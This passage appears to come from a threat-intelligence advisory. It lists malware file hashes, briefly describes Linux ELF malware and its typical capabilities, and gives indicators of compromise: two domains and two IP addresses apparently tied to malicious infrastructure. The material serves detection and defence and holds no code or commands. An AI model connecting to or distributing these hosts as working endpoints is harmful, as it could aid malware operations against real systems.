597f9539014e3d0f350c069cd804aa71679486ae

84ed4ac411ee2757d7c80ac8ce7d02d805110afd

1b9badb1c646a19cdf101ac4f6fdd23bc61eaab8c9f925eb41848cea9fd0738e

91f8592c7e8a3091273f0ccbfe34b2586c5998f7de63130050cb8ed36b4eec3e

4a066569113a569a6feb8f44257ac8764ee8f2011765009fdfd82fe3f4b92d3e

5f37b85687780c089607670040dbb3da2749b91b8adc0aa411fd6280b5fa7103

3de8fe5cee8180e93697e4ddca87e721910b9dd922de849cab7b1b3a50e54a00

388163c9ec1458c779849db891e17efb16a941ca598c4c3ac3a50a77086beb69

8d2581e5cc6e6fdf17558afe025ff84d9023ea636aca74dee39900d8f523e912

ba3ec3f445683d0d0407157fda0c26fd669c0b8cc03f21770285a20b3133098f

3fb160e1770fafeedff2d77841bf02108c25cca4cb6d77e3fbf759077f356b70

0097b8722c8c0840e8c1a4dd579438344b3e6b4d630d17b0bbe9c55159f43142

aeb1b789395357e8cc8dbd313b95f624fc03e037984040cd7c1704775bfb4bd2

477382529659c3452020170d8150820210ab8cbdc6417a0f0ac86a793cd0d9b4

f361bafcc00b1423d24a7ea205264f5a0b96011e4928d9a91c2abc9911b433a1

20848d28414d4811b63b9645adb549eed0afbd6415d08b75b0a93fbf7cfbf21f

754ac79aca0cc1bcf46000ef6c4cbe8bebeb50dae60823a1e844647ac16b6867

4877ff7c3c2abd349646db1163814811e69b36374e289f5808cc794113ef55ae

9200167f75f207fca91448547c24685f30beb82e383deb39bb07c126f49d9613

d09de8044608823f95fdf8c12a6127c047bb04f896497b67d45d5baafe49c3b4

edc166b2e10484c409f69d8e34de501a8672fa632bf8bbcf06ba2377ffae6363

fd738a651e4d77d928155d1fdf228fb7b161fb40d3adf33a8971fd391694693c

989831eba5ea1767225690e41eb02a668a6f2d56dc1f6b783b20731192fe7422

da8ed9b1ba9999d2ec67a0580749a8d819f37598b4dc0ff7d4c18bf01ba4194e

118d2961babf42a31ee83cb3eb059de265a50327688d50faa66aaca99784afe8

01b857ab6a7870c73be225ae8f1fe118df45b28d76d47f07c6c4ddc15cc83091

3db5dc72a0774f6a5fdfb54981e7a883959b6a4965d0d2058b467e6d2d420baa

61c9df341f4a29b2f4e5e70a7639ef3c1822ee59d5ad14115903e384e6bcbdd3

088fc6c5e5140ab0c39e28fa043db70eb2ddb57b1ee5fb8380018d846f16ce8c

cf98bb777723cb50742cad3af0857e97d555e5478254f0018d44b4a796320f55

f3a9b486af5f694479f4b8ac218f0ffbd968e05a582265d4d2c8f5744eca556a

1226b7f3b25713772d56e27b8522bb5975af7cf8c63df5ae278dd24381564754

01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd

0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5

543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91

31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427

efc2125e628b116eb0c097c699e473a47a280dfcd3e02cada41bdf6969600b41

794a5621fda2106fcb94cbd91b6ab9567fb8383caa7f62febafcf701175f2b91

572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b

f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e

9103194d32a15ea9e8ede1c81960a5ba5d21213de55df52a6dac409f2e58bcfe

44a5e78fce5455579123af23665262b10165ac710a9f7538b764af76d7771550

94ce428f04f35e434dc9bd81e17fe506d8f81fe51ea40fca530f1f2ef00e2881

eb24370166021f9243fd98c0be7b22ab8cbc22147c15ecef8e75746eb484bb1a

1df11bc19aa52b623bdf15380e3fded56d8eb6fb7b53a2240779864b1a6474ad

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-13-009**

It has been observed that Linux based malware is often packaged in the Executable and Linkable Format (ELF), is designed to target and exploit vulnerabilities in Linux operating systems. ELF malware can range from basic trojans and worms to sophisticated rootkits and ransomware. It poses significant risks to servers, IoT devices, and other systems running Linux, often aiming to steal data, create botnets, or disrupt operations.

Common Features of Linux ELF Malware:

Data Theft

Botnet Creation

Remote Access

Persistence

Rootkits

Ransomware

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses & Domains:

appsupport.my-router.de

zimbra-beta.info

45.142.155.117

45.142.155.113

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*